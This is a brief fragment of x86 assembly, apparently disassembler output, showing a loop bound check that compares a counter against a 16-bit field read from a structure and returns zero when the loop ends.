mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402535
mov eax, 0
leave
ret